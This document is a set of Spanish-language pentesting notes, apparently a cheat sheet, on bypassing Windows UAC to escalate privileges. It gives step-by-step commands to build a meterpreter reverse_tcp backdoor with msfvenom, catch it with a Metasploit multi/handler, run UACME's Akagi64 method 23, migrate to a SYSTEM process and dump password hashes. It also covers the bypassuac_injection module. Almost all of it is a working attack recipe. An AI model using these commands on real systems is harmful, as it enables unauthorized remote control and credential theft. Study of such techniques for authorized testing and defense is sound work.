:: ▸ Manual
Antes de ejecutar esto, si podemos migrar al proceso explorer es recomendable:
pgrep explorer : Esto nos da un numero
migrate <numero>
Este exploit solo se puede ejecutar si el usuario que disponemos de bajos privilegios, pertenece al
grupo de administradores.
Clonamos el repo: git clone <https://github.com/hfiref0x/UACME> (/root/Desktop/tools/UACME/)
Creamos un backdoor con msfvenom
`msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > backdoor.exe`
Desde netcat/metasploit estamos en nuestro puerto de escucha (Usaré metasploit para este ejemplo)
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ip>
set LPORT <Puerto configurado en el msfvenom previamente>
run
└───────────────────────────────────────────────────────────────────────────────────────────────────
Para ver si el usuario tiene permisos de admin ponemos:
`net user` : Puede que devuelva admin como resultado
Ahora, nos vamos a nuestra cmd sin privilegios de windows y subimos el backdoor, si tenemos sesión
de meterpreter abierta simplemente:
Recomendable crear o usar el directorio Tmp
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
cd C:\\
mkdir Temp
upload backdoor.exe
upload Akagi64.exe
shell
.\Akagi64.exe 23 <ruta del backdoor.exe> (C:\Users\admin\AppData\Local\Temp\rev.exe)
└───────────────────────────────────────────────────────────────────────────────────────────────────
Una vez ejecutado, nos vamos a la ventana donde tenemos en escucha el multi/handler o el netcat, y
recibimos una consola con máximos privilegios
Listamos procesos:
`ps`
Y migramos a un proceso que ejecute NT AUTHORITY:
`migrate <PID>`
Para ver los hashes desde meterpreter (hay que salir de la shell) usamos:
meterpreter > hashdump
:: ▸ Metasploit (Recomendado)
Usamos el módulo: exploit/windows/local/bypassuac_injection
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
use exploit/windows/local/bypassuac_injection
set payload windows/x64/meterpreter/reverse_tcp
set session <session>
run
└───────────────────────────────────────────────────────────────────────────────────────────────────